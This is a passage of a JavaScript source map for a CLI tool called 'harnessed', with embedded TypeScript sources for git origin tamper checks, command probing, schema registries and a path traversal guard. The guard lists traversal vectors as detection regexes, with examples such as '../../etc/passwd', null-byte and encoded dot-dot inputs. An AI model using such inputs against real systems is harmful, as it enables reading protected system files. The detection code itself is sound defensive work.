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","file":"cli.mjs","sourcesContent":["// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n status: 'pass' | 'warn' | 'fail'\n detail: string\n fix?: string\n}\n\nexport interface OriginCheckOptions {\n /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n return s\n .trim()\n .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n .replace(/\\.git$/, '')\n .replace(':', '/')\n .replace(/\\/$/, '')\n .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n cwd: string = process.cwd(),\n opts: OriginCheckOptions = {},\n): OriginCheckResult {\n const allowFork = opts.allowFork ?? true\n // 1. Read expected URL from package.json `repository.url` SSOT.\n let expected: string | null = null\n try {\n const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n repository?: string | { url?: string }\n }\n expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n } catch {\n // package.json missing 是合法 case (npm 全局装 / detached run).\n }\n if (!expected) {\n return {\n status: 'warn',\n detail: 'package.json has no repository.url field',\n fix: 'add `repository` field to package.json',\n }\n }\n // 2. Read actual git remote origin URL.\n const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n cwd,\n encoding: 'utf8',\n })\n if (r.status !== 0) {\n return {\n status: 'warn',\n detail: 'no git remote origin (detached / non-clone)',\n fix: 'git remote add origin <expected-url>',\n }\n }\n const actual = r.stdout.trim()\n if (normalizeUrl(actual) === normalizeUrl(expected)) {\n return { status: 'pass', detail: actual }\n }\n // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n return {\n status: allowFork ? 'warn' : 'fail',\n detail: `origin '${actual}' ≠ expected '${expected}'`,\n fix: allowFork\n ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n }\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n status: 'pass' | 'fail'\n prefix?: GstackPrefix\n detail: string\n fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n * (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n const hasGstack = probeOne('gstack-office-hours')\n const hasBare = probeOne('office-hours')\n if (hasGstack && !hasBare) {\n return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n }\n if (!hasGstack && hasBare) {\n return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n }\n if (hasGstack && hasBare) {\n return {\n status: 'fail',\n detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n }\n }\n return {\n status: 'fail',\n detail: 'neither gstack-office-hours nor office-hours found in PATH',\n fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n /\\x00/, // (3) Null byte injection: path\\x00attack\n /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n constructor() {\n super('path traversal attempt detected')\n this.name = 'PathTraversalError'\n Object.setPrototypeOf(this, PathTraversalError.prototype)\n }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n for (const re of PATH_TRAVERSAL_PATTERNS) {\n if (re.test(input)) throw new PathTraversalError()\n }\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v1` covers 7 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n// (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n// (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n// bucket — adapter-specific strings are legal, never throw)\n// (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 13 surfaces (B-32 + Phase 3.1 W1 T1.1 ADD `currentWorkflow` + Phase 3.2\n// W1 T1.1 ADD `config` + `governance` + Phase 3.3 W0 T0.5 BACKFILL `planFeature`\n// + Phase 3.3 W1 T1.1 ADD `aliases` + `knownGood`) are the schema-producing\n// artifacts in Wave 2-4 + Phase 3.1 (workflow state machine) + Phase 3.2\n// (plan-feature workflow infra) + Phase 3.3 (manifest-domain aliases.yaml +\n// known-good version lock):\n// - routing-snapshot : routing engine arbitrate output snapshot\n// - handoff-doc : phase → phase handoff document\n// - phases-yaml : workflows/execute-task/phases.yaml\n// - manifest-state : .harnessed/state/manifest.json\n// - installer-state : .harnessed/state/installer.json\n// - route-decision-log : routing decision audit log\n// - checkpoint : execute-task workflow checkpoint envelope\n// - current-workflow : workflow state machine (active / paused / complete) ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n// - config : .harnessed/config.json (gstack_prefix store) ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n// - governance : .harnessed/governance.json (gstack veto status) ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n// - plan-feature : src/workflow/schema/planFeature.ts (plan-feature workflow DSL) ← Phase 3.3 W0 T0.5 BACKFILL (11th surface, sister Phase 3.2 W2 T2.2 b875e21 stale claim fix)\n// - aliases : manifests/aliases.yaml (D-01 RICH upstream rename redirect + metadata) ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n// - known-good : versions/<harnessed-ver>-known-good.yaml (D-03 YAML per-ver version lock) ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v1`. Each producer\n * declares its surface name once via `SCHEMA_VERSIONS` below and references it\n * through this type, so a string literal drift is a compile error. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\n\n/** Single source of truth for the 7 surface names (B-32 / D-16). Producers MUST\n * import from this const — direct string literals fail the Wave 2 grep\n * acceptance (≥ 7 `harnessed.\\w+.v1` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n routingSnapshot: 'harnessed.routing-snapshot.v1',\n handoffDoc: 'harnessed.handoff-doc.v1',\n phasesYaml: 'harnessed.phases-yaml.v1',\n manifestState: 'harnessed.manifest-state.v1',\n installerState: 'harnessed.installer-state.v1',\n routeDecisionLog: 'harnessed.route-decision-log.v1',\n checkpoint: 'harnessed.checkpoint.v1',\n currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD 8th surface (D-02 KARPATHY 3-state)\n config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD 9th surface (D-01 PROBE gstack_prefix store)\n governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD 10th surface (D-04 PUSH veto status)\n planFeature: 'harnessed.plan-feature.v1', // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface (sister Phase 3.2 W2 T2.2 b875e21 commit msg claim \"11th surface\" was LATENT STALE — never registered; T0.5 surgical fix per sister Phase 3.2 W2 T2.6 latent W1 c37ee29 Rule 1 pattern)\n aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD 12th surface (D-01 RICH manifests/aliases.yaml upstream rename redirect + metadata)\n knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD 13th surface (D-03 YAML versions/<harnessed-ver>-known-good.yaml per-version lock)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n * inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n Type.Literal(SCHEMA_VERSIONS.manifestState),\n Type.Literal(SCHEMA_VERSIONS.installerState),\n Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n Type.Literal(SCHEMA_VERSIONS.checkpoint),\n Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD 8th surface\n Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD 9th surface\n Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD 10th surface\n Type.Literal(SCHEMA_VERSIONS.planFeature), // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD 12th surface\n Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD 13th surface\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n * rule (b) unknown values gracefully degrade to the `unknown` handler. The\n * handler-shape encodes the contract so the type system enforces it. */\nexport function branchOnSchemaVersion<T>(\n v: string,\n handlers: { v1: () => T; unknown: () => T },\n): T {\n // v1 = any string matching `harnessed.<surface>.v1` for a known surface.\n const isKnownV1 = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n return isKnownV1 ? handlers.v1() : handlers.unknown()\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n {\n redirect: Type.String({ minLength: 1 }),\n reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // optional long-tail window\n },\n { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n },\n { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load 